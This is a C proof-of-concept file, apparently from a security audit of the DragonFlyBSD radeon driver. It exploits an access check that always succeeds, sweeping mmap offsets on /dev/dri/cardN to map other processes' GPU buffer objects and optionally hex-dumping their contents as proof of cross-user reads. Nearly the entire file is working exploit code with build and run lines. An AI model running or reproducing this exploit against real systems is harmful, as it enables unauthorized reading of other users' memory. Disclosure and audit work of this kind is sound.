DF-4429 / poc_mmap_bo.c
/* * DF-4429 PoC โ radeon GEM BO mmap ownership bypass prober. * * DragonFlyBSD radeon port: radeon_verify_access() (radeon_ttm.c:234) returns * 0 unconditionally, so any process that can open /dev/dri/cardN can mmap any * live GEM buffer object by (page-granular, best-match) vma offset. * * This tool sweeps single-page mmap()s starting at DRM_FILE_PAGE_OFFSET * (2^20 pages = 4 GiB, where the TTM vma manager starts allocating) and * reports every hit, with an optional hex dump proving cross-user read. * * Hardware required: an AMD/ATI radeon GPU with the DFly radeon KMS driver * attached (/dev/dri/cardN must exist). Not runnable on the audit QEMU guest * (no AMD GPU) โ see env.txt. * * Build: cc -O2 -o poc_mmap_bo poc_mmap_bo.c * Run: ./poc_mmap_bo [--read] */ #include <sys/types.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #ifndef __unused #define __unused __attribute__((__unused__)) #endif /* radeon_ttm.c:48 โ DRM_FILE_PAGE_OFFSET (0x100000000ULL >> PAGE_SHIFT) */ #define DRM_FILE_PAGE_OFFSET_PAGES (0x100000000ULL >> 12) #define PAGE_SZ 4096ULL int main(int argc, char **argv) { int do_read = (argc > 1 && strcmp(argv[1], "--read") == 0); const char *card = getenv("DRM_CARD") ? getenv("DRM_CARD") : "/dev/dri/card0"; int fd = open(card, O_RDWR); unsigned long long off, hits = 0, misses = 0; const unsigned long long max_pages = 1ULL << 20; /* scan 4GiB..8GiB */ if (fd < 0) { fprintf(stderr, "open %s: %s\n", card, strerror(errno)); return 1; } for (off = 0; off < max_pages; off++) { unsigned long long byte_off = (DRM_FILE_PAGE_OFFSET_PAGES + off) * PAGE_SZ; void *p = mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE, MAP_SHARED, fd, byte_off); if (p == MAP_FAILED) { misses++; continue; } hits++; printf("[HIT] mmap offset 0x%llx (page %llu) OK\n", byte_off, DRM_FILE_PAGE_OFFSET_PAGES + off); if (do_read) { unsigned char *c = p; unsigned long long i, nz = 0; for (i = 0; i < PAGE_SZ; i++) if (c[i]) nz++; printf(" non-zero bytes: %llu/4096 โ first 64:\n ", nz); for (i = 0; i < 64; i++) printf("%02x", c[i]); printf("\n"); } munmap(p, PAGE_SZ); } printf("done: %llu foreign-BO page hits, %llu misses\n", hits, misses); return 0; } |